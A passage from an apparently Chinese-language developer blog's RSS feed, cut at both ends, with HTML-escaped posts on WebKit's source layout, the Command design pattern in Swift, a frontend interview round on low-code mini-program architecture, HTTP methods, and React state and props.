&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── NetworkProcess/ # 独立网络进程
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── GPUProcess/ # 独立 GPU 进程
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ └── Shared/ # 跨进程共享的数据结构、IPC 消息定义
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── WTF/ # 基础容器、线程、字符串工具库
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;日常 iOS 开发能看到的 &lt;code&gt;WKWebView&lt;/code&gt;，对应的实现就在 &lt;code&gt;Source/WebKit/UIProcess/API/Cocoa/WKWebView.mm&lt;/code&gt;。它是一个 Objective-C++ 文件，内部只是持有一个 C++ 的 &lt;code&gt;WebPageProxy&lt;/code&gt; 对象，几乎所有实际工作都转发给它。为什么要这样设计？原因就藏在下一节要讲的多进程架构里。&lt;/p&gt;</description></item><item><title>命令模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%91%BD%E4%BB%A4%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%91%BD%E4%BB%A4%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;命令模式（Command Pattern）是一种行为型设计模式，它将请求封装成对象，从而可以用不同的请求对客户进行参数化，对请求排队或记录请求日志，以及支持可撤销的操作。&lt;/p&gt;
&lt;p&gt;命令模式的核心思想是：将&amp;quot;请求&amp;quot;封装成一个对象，使得可以用不同的请求、队列或日志来参数化其他对象，同时支持可撤销操作。&lt;/p&gt;
&lt;h2 id="为什么需要命令模式"&gt;为什么需要命令模式&lt;/h2&gt;
&lt;p&gt;命令模式要解决的核心问题是：&lt;strong&gt;将请求（操作）封装成对象，使得可以对请求进行存储、传递、撤销等操作&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个文本编辑器，需要支持撤销/重做功能。&lt;/p&gt;
&lt;p&gt;最直接的方式可能是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TextEditor&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; text: String = &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;insertText&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; newText: String, at position: Int) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; index = text.index(text.startIndex, offsetBy: position)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text.insert(contentsOf: newText, at: index)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;deleteText&lt;/span&gt;(from start: Int, length: Int) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; startIndex = text.index(text.startIndex, offsetBy: start)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; endIndex = text.index(startIndex, offsetBy: length)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; text.removeSubrange(startIndex..&amp;lt;endIndex)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 用户操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; editor = TextEditor()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;editor.insertText(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;, at: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;editor.insertText(&lt;span style="color:#e6db74"&gt;&amp;#34; World&amp;#34;&lt;/span&gt;, at: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;editor.deleteText(from: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;, length: &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 如何实现撤销？需要记住每次操作的类型、参数、以及如何逆向执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 这变得非常复杂...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;</description></item><item><title>小红书-社招-3年 · 第 3 轮 · 技术面试</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-158/</link><pubDate>Sun, 01 Feb 2026 14:42:08 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-158/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/round-157/"&gt;第 2 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-94/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 这一轮主要考察了小程序的低代码设计架构、Web Worker的使用、中台系统的微前端拆分策略等方面的知识。&lt;/p&gt;
&lt;p&gt;本轮共 4 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-002c3370fca7"&gt;1. 讲一下你关于小程序的低代码设计架构&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;小程序低代码架构本质是配置驱动的运行时体系，核心包括 DSL 协议设计、组件注册机制、运行时解析与数据驱动更新；必须围绕 setData 性能约束进行差量更新与渲染优化；工程重点不在编辑器，而在运行时引擎的性能治理与扩展能力设计。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;小程序的低代码架构，本质是在&lt;strong&gt;受限运行环境下实现“可配置驱动 UI 与逻辑”&lt;/strong&gt;。核心不是拖拽能力，而是如何让页面结构、交互逻辑、数据流都由配置驱动，同时保证性能与可维护性。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一整体架构分层"&gt;一、整体架构分层&lt;/h2&gt;
&lt;p&gt;小程序低代码一般分为四层：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;编辑层 → DSL 层 → 运行时引擎 → 渲染层&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;编辑层负责产出结构化配置；DSL 层定义组件树与属性协议；运行时负责解析与调度；渲染层落在小程序原生组件体系之上（如 WXML + setData 机制，在 微信小程序 中即运行于其渲染框架内）。&lt;/p&gt;
&lt;p&gt;关键问题在于：小程序不是虚拟 DOM 模型，而是逻辑层与视图层分离，通过 JSON 数据桥接，因此架构必须围绕数据驱动。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二dsl-设计"&gt;二、DSL 设计&lt;/h2&gt;
&lt;p&gt;DSL 通常采用 JSON Schema 形式，核心包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;组件类型&lt;/li&gt;
&lt;li&gt;属性 props&lt;/li&gt;
&lt;li&gt;样式&lt;/li&gt;
&lt;li&gt;事件绑定&lt;/li&gt;
&lt;li&gt;数据源&lt;/li&gt;
&lt;li&gt;条件显示规则&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;低代码的关键在于“协议稳定性”，一旦 DSL 设计混乱，后续扩展成本会极高。因此会设计：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;组件注册机制&lt;/li&gt;
&lt;li&gt;属性校验规则&lt;/li&gt;
&lt;li&gt;默认值策略&lt;/li&gt;
&lt;li&gt;版本兼容策略&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三运行时引擎"&gt;三、运行时引擎&lt;/h2&gt;
&lt;p&gt;运行时是核心。&lt;/p&gt;</description></item><item><title>http方法</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-003/</link><pubDate>Sat, 26 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-003/</guid><description>&lt;p&gt;HTTP 协议中定义了多种 &lt;strong&gt;请求方法（HTTP Methods）&lt;/strong&gt;，用于客户端和服务器之间进行不同的操作。&lt;/p&gt;
&lt;h3 id="一常用的-http-方法"&gt;一、常用的 HTTP 方法&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;是否幂等&lt;/th&gt;
&lt;th&gt;是否安全&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GET&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 幂等&lt;/td&gt;
&lt;td&gt;✅ 安全&lt;/td&gt;
&lt;td&gt;获取资源。请求参数放在 URL 上。不会对资源产生副作用。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;POST&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 非幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;提交数据（如表单、上传），可能导致资源变化或创建。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PUT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;用于&lt;strong&gt;整体更新&lt;/strong&gt;某个资源（数据完全替换）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PATCH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌ 非幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;用于&lt;strong&gt;部分更新&lt;/strong&gt;资源（只改动部分字段）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DELETE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ 幂等&lt;/td&gt;
&lt;td&gt;❌ 不安全&lt;/td&gt;
&lt;td&gt;删除指定资源。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="二幂等性和安全性解释"&gt;二、幂等性和安全性解释&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;幂等（Idempotent）&lt;/strong&gt;：同一个请求重复执行多次，结果应一样。例如多次 DELETE 相同资源结果相同。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全（Safe）&lt;/strong&gt;：不对服务器资源造成副作用。GET 只查询，不修改数据，因此是安全的。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="三其他常见-http-方法"&gt;三、其他常见 HTTP 方法&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HEAD&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;类似 GET，但不返回响应体，只返回响应头。常用于检测资源是否存在、获取响应信息。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OPTIONS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用于客户端获取服务器支持哪些方法。也是 CORS 预检请求的一部分。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TRACE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;回显服务器收到的请求，主要用于调试。很少使用，可能存在安全隐患。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CONNECT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用于建立隧道（如 HTTPS 的代理通信）。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="四使用场景示例"&gt;四、使用场景示例&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;获取用户列表&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GET /api/users&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;创建用户&lt;/td&gt;
&lt;td&gt;POST&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /api/users&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;更新用户信息&lt;/td&gt;
&lt;td&gt;PUT / PATCH&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PUT /api/users/1&lt;/code&gt; 或 &lt;code&gt;PATCH /api/users/1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;删除用户&lt;/td&gt;
&lt;td&gt;DELETE&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DELETE /api/users/1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="总结记住这几点"&gt;总结：记住这几点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GET&lt;/strong&gt; 用于查询（安全、幂等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;POST&lt;/strong&gt; 用于新增（不幂等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PUT/PATCH&lt;/strong&gt; 用于修改资源（PUT 是整体替换，PATCH 是部分更新）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt; 用于删除资源（幂等，但不安全）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OPTIONS/HEAD&lt;/strong&gt; 用于辅助请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h4 id="1-语义理解"&gt;1. &lt;strong&gt;语义理解&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;每个方法在 RESTful API 中代表的含义？&lt;/li&gt;
&lt;li&gt;PUT 和 PATCH 的区别？&lt;/li&gt;
&lt;li&gt;GET 和 POST 区别？是否可以用 POST 替代 GET？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-幂等性与安全性"&gt;2. &lt;strong&gt;幂等性与安全性&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;哪些方法是幂等的？（调用多次结果一致）&lt;/li&gt;
&lt;li&gt;哪些方法是安全的？（不会对服务器资源产生副作用）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-浏览器行为"&gt;3. &lt;strong&gt;浏览器行为&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;表单默认提交方式是什么？（GET 或 POST）&lt;/li&gt;
&lt;li&gt;GET 请求能携带 body 吗？（规范上不能，但部分浏览器允许）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-缓存行为"&gt;4. &lt;strong&gt;缓存行为&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;浏览器对 GET、POST 的缓存行为有什么区别？&lt;/li&gt;
&lt;li&gt;为什么 GET 更适合缓存？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-跨域相关cors"&gt;5. &lt;strong&gt;跨域相关（CORS）&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;哪些方法属于“简单请求”？&lt;/li&gt;
&lt;li&gt;使用 PUT/PATCH/DELETE 会触发预检请求（OPTIONS），为什么？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="6-请求体与响应体"&gt;6. &lt;strong&gt;请求体与响应体&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;哪些方法通常不携带请求体？（如 GET、DELETE）&lt;/li&gt;
&lt;li&gt;哪些方法可以/需要携带请求体？（如 POST、PUT、PATCH）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="7-对比和实际使用中的陷阱"&gt;7. &lt;strong&gt;对比和实际使用中的陷阱&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;PUT/POST 混用的场景（如某些系统用 POST 实现更新）&lt;/li&gt;
&lt;li&gt;DELETE 是否要有请求体？（规范允许，但不推荐）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="可能的延伸考察"&gt;可能的延伸考察&lt;/h3&gt;
&lt;h4 id="restful-api-设计规范"&gt;RESTful API 设计规范&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;REST API 中，如何正确使用 GET/POST/PUT/DELETE 等方法？&lt;/li&gt;
&lt;li&gt;设计一个增删改查接口，如何对应到不同 HTTP 方法？&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="状态码与方法配合"&gt;状态码与方法配合&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;DELETE 成功一般返回什么状态码？（如 204 No Content）&lt;/li&gt;
&lt;li&gt;POST 创建资源后返回什么？（201 Created）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="结合安全问题"&gt;结合安全问题&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;POST/PUT 方法可能面临哪些安全风险？如 CSRF？&lt;/li&gt;
&lt;li&gt;为什么建议对非幂等方法加 CSRF 防护？&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>state 与 props</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-003/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-003/</guid><description>&lt;h2 id="state"&gt;state&lt;/h2&gt;
&lt;h3 id="基本定义"&gt;基本定义&lt;/h3&gt;
&lt;p&gt;state是组件内部的状态（数据），不能够直接修改，必须要通过setState来改变值的状态，从而达到更新组件内部数据的作用。&lt;/p&gt;
&lt;h2 id="props"&gt;props&lt;/h2&gt;
&lt;h3 id="基本定义-1"&gt;基本定义&lt;/h3&gt;
&lt;p&gt;props是指组件间传递的一种方式，props自然也可以传递state。由于React的数据流是自上而下的，所以是从父组件向子组件进行传递；另外组件内部的this.props属性是只读的不可修改。&lt;/p&gt;
&lt;h2 id="代码示例"&gt;代码示例&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 父组件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stateJj&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./stateJj.js&amp;#39;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 引入子组件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stateJjFather&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 设置state的默认值 且只能在constructor中设置
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mes&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;给子组件的信息&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;：&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fun&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; {&lt;span style="color:#a6e22e"&gt;mes&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;} &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 不写箭头函数 this指向会发生错误 也可以使用bind的方式绑定this
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;stateJj&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;给子组件的信息&amp;#39;&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;name1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;mes&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;fun&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) =&amp;gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fun&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;)} &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;} &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 子组件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;stateJj&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;);
